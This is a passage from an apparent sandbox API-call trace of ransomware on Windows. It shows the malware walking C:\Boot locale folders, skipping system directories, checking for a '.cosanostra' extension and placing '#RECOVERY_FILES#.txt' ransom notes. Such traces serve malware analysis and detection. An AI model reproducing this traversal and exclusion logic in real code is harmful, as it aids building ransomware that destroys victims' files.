lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0075.982] FindClose (in: hFindFile=0x24d080 | out: hFindFile=0x24d080) returned 1 [0075.982] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\#RECOVERY_FILES#.txt") returned 38 [0075.982] lstrlenW (lpString="\\\\?\\C:\\Boot\\pt-PT\\#RECOVERY_FILES#.txt") returned 38 [0075.982] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.982] lstrcmpiW (lpString1="ru-RU", lpString2="Windows") returned -1 [0075.983] lstrlenW (lpString="Windows") returned 7 [0075.983] lstrcmpiW (lpString1="ru-RU", lpString2="Program Files") returned 1 [0075.983] lstrlenW (lpString="Program Files") returned 13 [0075.983] lstrcmpiW (lpString1="ru-RU", lpString2="Program Files (x86)") returned 1 [0075.983] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.983] lstrcmpiW (lpString1="ru-RU", lpString2="$Recycle.bin") returned 1 [0075.983] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.983] lstrcmpiW (lpString1="ru-RU", lpString2="System Volume Information") returned -1 [0075.983] lstrlenW (lpString="System Volume Information") returned 25 [0075.983] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU") returned 17 [0075.983] lstrcmpW (lpString1="ru-RU", lpString2=".") returned 1 [0075.983] lstrcmpW (lpString1="ru-RU", lpString2="..") returned 1 [0075.983] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\*") returned 19 [0075.983] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24d080 [0076.008] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0076.008] lstrlenW (lpString="Windows") returned 7 [0076.008] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0076.008] lstrlenW (lpString="Program Files") returned 13 [0076.008] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0076.008] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.008] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0076.008] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.008] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0076.008] lstrlenW (lpString="System Volume Information") returned 25 [0076.008] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\.") returned 19 [0076.008] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.008] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.008] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0076.008] lstrlenW (lpString="Windows") returned 7 [0076.008] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0076.008] lstrlenW (lpString="Program Files") returned 13 [0076.008] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0076.008] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.008] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0076.008] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.008] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0076.008] lstrlenW (lpString="System Volume Information") returned 25 [0076.008] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\..") returned 20 [0076.008] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.008] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.008] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.008] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0076.008] lstrlenW (lpString="Windows") returned 7 [0076.009] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0076.009] lstrlenW (lpString="Program Files") returned 13 [0076.009] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0076.009] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.009] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0076.009] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.009] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0076.009] lstrlenW (lpString="System Volume Information") returned 25 [0076.009] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 33 [0076.009] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0076.009] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.009] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0076.009] lstrlenW (lpString="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 33 [0076.009] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0076.009] FindClose (in: hFindFile=0x24d080 | out: hFindFile=0x24d080) returned 1 [0076.009] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\#RECOVERY_FILES#.txt") returned 38 [0076.009] lstrlenW (lpString="\\\\?\\C:\\Boot\\ru-RU\\#RECOVERY_FILES#.txt") returned 38 [0076.010] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0076.010] lstrcmpiW (lpString1="sv-SE", lpString2="Windows") returned -1 [0076.010] lstrlenW (lpString="Windows") returned 7 [0076.010] lstrcmpiW (lpString1="sv-SE", lpString2="Program Files") returned 1 [0076.010] lstrlenW (lpString="Program Files") returned 13 [0076.010] lstrcmpiW (lpString1="sv-SE", lpString2="Program Files (x86)") returned 1 [0076.010] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.010] lstrcmpiW (lpString1="sv-SE", lpString2="$Recycle.bin") returned 1 [0076.010] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.010] lstrcmpiW (lpString1="sv-SE", lpString2="System Volume Information") returned -1 [0076.010] lstrlenW (lpString="System Volume Information") returned 25 [0076.010] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE") returned 17 [0076.010] lstrcmpW (lpString1="sv-SE", lpString2=".") returned 1 [0076.010] lstrcmpW (lpString1="sv-SE", lpString2="..") returned 1 [0076.010] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\*") returned 19 [0076.010] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24d080 [0076.011] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0076.011] lstrlenW (lpString="Windows") returned 7 [0076.011] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0076.011] lstrlenW (lpString="Program Files") returned 13 [0076.011] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0076.011] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.011] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0076.011] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.011] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0076.011] lstrlenW (lpString="System Volume Information") returned 25 [0076.011] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\.") returned 19 [0076.011] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.011] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.011] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0076.011] lstrlenW (lpString="Windows") returned 7 [0076.011] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0076.011] lstrlenW (lpString="Program Files") returned 13 [0076.011] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0076.011] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.011] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0076.011] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.011] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0076.011] lstrlenW (lpString="System Volume Information") returned 25 [0076.011] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\..") returned 20 [0076.011] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.011] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.011] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.011] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0076.011] lstrlenW (lpString="Windows") returned 7 [0076.011] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0076.011] lstrlenW (lpString="Program Files") returned 13 [0076.011] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0076.011] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.011] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0076.012] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.012] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0076.012] lstrlenW (lpString="System Volume Information") returned 25 [0076.012] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 33 [0076.012] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0076.012] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.012] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0076.012] lstrlenW (lpString="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 33 [0076.012] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0076.012] FindClose (in: hFindFile=0x24d080 | out: hFindFile=0x24d080) returned 1 [0076.012] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\#RECOVERY_FILES#.txt") returned 38 [0076.012] lstrlenW (lpString="\\\\?\\C:\\Boot\\sv-SE\\#RECOVERY_FILES#.txt") returned 38 [0076.012] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0076.012] lstrcmpiW (lpString1="tr-TR", lpString2="Windows") returned -1 [0076.012] lstrlenW (lpString="Windows") returned 7 [0076.012] lstrcmpiW (lpString1="tr-TR", lpString2="Program Files") returned 1 [0076.012] lstrlenW (lpString="Program Files") returned 13 [0076.012] lstrcmpiW (lpString1="tr-TR", lpString2="Program Files (x86)") returned 1 [0076.012] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.012] lstrcmpiW (lpString1="tr-TR", lpString2="$Recycle.bin") returned 1 [0076.012] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.013] lstrcmpiW (lpString1="tr-TR", lpString2="System Volume Information") returned 1 [0076.013] lstrlenW (lpString="System Volume Information") returned 25 [0076.013] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR") returned 17 [0076.013] lstrcmpW (lpString1="tr-TR", lpString2=".") returned 1 [0076.013] lstrcmpW (lpString1="tr-TR", lpString2="..") returned 1 [0076.013] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\*") returned 19 [0076.013] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24d080 [0076.027] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0076.027] lstrlenW (lpString="Windows") returned 7 [0076.027] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0076.027] lstrlenW (lpString="Program Files") returned 13 [0076.027] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0076.027] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.027] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0076.027] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.027] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0076.027] lstrlenW (lpString="System Volume Information") returned 25 [0076.027] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\.") returned 19 [0076.027] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.027] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.027] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0076.027] lstrlenW (lpString="Windows") returned 7 [0076.027] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0076.027] lstrlenW (lpString="Program Files") returned 13 [0076.027] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0076.027] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.027] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0076.027] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.027] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0076.027] lstrlenW (lpString="System Volume Information") returned 25 [0076.027] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\..") returned 20 [0076.027] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.027] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.027] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.027] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0076.028] lstrlenW (lpString="Windows") returned 7 [0076.028] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0076.028] lstrlenW (lpString="Program Files") returned 13 [0076.028] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0076.028] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.028] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0076.028] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.028] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0076.028] lstrlenW (lpString="System Volume Information") returned 25 [0076.028] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 33 [0076.028] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0076.028] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.028] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0076.028] lstrlenW (lpString="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 33 [0076.028] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0076.028] FindClose (in: hFindFile=0x24d080 | out: hFindFile=0x24d080) returned 1 [0076.028] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\#RECOVERY_FILES#.txt") returned 38 [0076.028] lstrlenW (lpString="\\\\?\\C:\\Boot\\tr-TR\\#RECOVERY_FILES#.txt") returned 38 [0076.028] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0076.028] lstrcmpiW (lpString1="zh-CN", lpString2="Windows") returned 1 [0076.028] lstrlenW (lpString="Windows") returned 7 [0076.028] lstrcmpiW (lpString1="zh-CN", lpString2="Program Files") returned 1 [0076.028] lstrlenW (lpString="Program Files") returned 13 [0076.028] lstrcmpiW (lpString1="zh-CN", lpString2="Program Files (x86)") returned 1 [0076.029] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.029] lstrcmpiW (lpString1="zh-CN", lpString2="$Recycle.bin") returned 1 [0076.029] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.029] lstrcmpiW (lpString1="zh-CN", lpString2="System Volume Information") returned 1 [0076.029] lstrlenW (lpString="System Volume Information") returned 25 [0076.029] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN") returned 17 [0076.029] lstrcmpW (lpString1="zh-CN", lpString2=".") returned 1 [0076.029] lstrcmpW (lpString1="zh-CN", lpString2="..") returned 1 [0076.029] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\*") returned 19 [0076.029] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24d080 [0076.029] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0076.029] lstrlenW (lpString="Windows") returned 7 [0076.029] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0076.029] lstrlenW (lpString="Program Files") returned 13 [0076.029] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0076.029] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.029] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0076.029] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.029] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0076.029] lstrlenW (lpString="System Volume Information") returned 25 [0076.029] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\.") returned 19 [0076.029] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.029] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.029] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0076.029] lstrlenW (lpString="Windows") returned 7 [0076.029] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0076.029] lstrlenW (lpString="Program Files") returned 13 [0076.029] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0076.030] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.030] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0076.030] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.030] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0076.030] lstrlenW (lpString="System Volume Information") returned 25 [0076.030] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\..") returned 20 [0076.030] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.030] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.030] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.030] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0076.030] lstrlenW (lpString="Windows") returned 7 [0076.030] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0076.030] lstrlenW (lpString="Program Files") returned 13 [0076.030] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0076.030] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.030] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0076.030] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.030] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0076.030] lstrlenW (lpString="System Volume Information") returned 25 [0076.030] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 33 [0076.030] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0076.030] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.030] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0076.030] lstrlenW (lpString="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 33 [0076.030] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0076.030] FindClose (in: hFindFile=0x24d080 | out: hFindFile=0x24d080) returned 1 [0076.030] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\#RECOVERY_FILES#.txt") returned 38 [0076.030] lstrlenW (lpString="\\\\?\\C:\\Boot\\zh-CN\\#RECOVERY_FILES#.txt") returned 38 [0076.031] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0076.031] lstrcmpiW (lpString1="zh-HK", lpString2="Windows") returned 1 [0076.031] lstrlenW (lpString="Windows") returned 7 [0076.031] lstrcmpiW (lpString1="zh-HK", lpString2="Program Files") returned 1 [0076.031] lstrlenW (lpString="Program Files") returned 13 [0076.031] lstrcmpiW (lpString1="zh-HK", lpString2="Program Files (x86)") returned 1 [0076.031] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.031] lstrcmpiW (lpString1="zh-HK", lpString2="$Recycle.bin") returned 1 [0076.031] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.031] lstrcmpiW (lpString1="zh-HK", lpString2="System Volume Information") returned 1 [0076.031] lstrlenW (lpString="System Volume Information") returned 25 [0076.031] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK") returned 17 [0076.031] lstrcmpW (lpString1="zh-HK", lpString2=".") returned 1 [0076.031] lstrcmpW (lpString1="zh-HK", lpString2="..") returned 1 [0076.031] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\*") returned 19 [0076.031] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24d080 [0076.043] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0076.043] lstrlenW (lpString="Windows") returned 7 [0076.043] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0076.043] lstrlenW (lpString="Program Files") returned 13 [0076.043] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0076.043] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.043] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0076.043] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.043] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0076.043] lstrlenW (lpString="System Volume Information") returned 25 [0076.043] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\.") returned 19 [0076.043] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.043] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.043] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0076.043] lstrlenW (lpString="Windows") returned 7 [0076.043] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0076.043] lstrlenW (lpString="Program Files") returned 13 [0076.043] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0076.043] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.043] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0076.043] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.043] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0076.043] lstrlenW (lpString="System Volume Information") returned 25 [0076.044] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\..") returned 20 [0076.044] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.044] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.044] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0076.044] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0076.044] lstrlenW (lpString="Windows") returned 7 [0076.044] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0076.044] lstrlenW (lpString="Program Files") returned 13 [0076.044] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0076.044] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.044] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0076.044] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.044] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0076.044] lstrlenW (lpString="System Volume Information") returned 25 [0076.044] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 33 [0076.044] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0076.044] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0076.044] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0076.044] lstrlenW (lpString="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 33 [0076.044] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0076.044] FindClose (in: hFindFile=0x24d080 | out: hFindFile=0x24d080) returned 1 [0076.044] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\#RECOVERY_FILES#.txt") returned 38 [0076.044] lstrlenW (lpString="\\\\?\\C:\\Boot\\zh-HK\\#RECOVERY_FILES#.txt") returned 38 [0076.044] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0076.044] lstrcmpiW (lpString1="zh-TW", lpString2="Windows") returned 1 [0076.044] lstrlenW (lpString="Windows") returned 7 [0076.044] lstrcmpiW (lpString1="zh-TW", lpString2="Program Files") returned 1 [0076.044] lstrlenW (lpString="Program Files") returned 13 [0076.044] lstrcmpiW (lpString1="zh-TW", lpString2="Program Files (x86)") returned 1 [0076.045] lstrlenW (lpString="Program Files (x86)") returned 19 [0076.045] lstrcmpiW (lpString1="zh-TW", lpString2="$Recycle.bin") returned 1 [0076.045] lstrlenW (lpString="$Recycle.bin") returned 12 [0076.045] lstrcmpiW (lpString1="zh-TW", lpString2="System Volume Information") returned 1 [0076.045] lstrlenW (lpString="System Volume Information") returned 25 [0076.045] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW") returned 17 [0076.045] lstrcmpW (lpString1="zh-TW", lpString2=".") returned 1 [0076.045] lstrcmpW (lpString1="zh-TW", lpString2="..") returned 1 [0076.045] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\*") returned 19 [0076.045] FindFirstFileW (in: 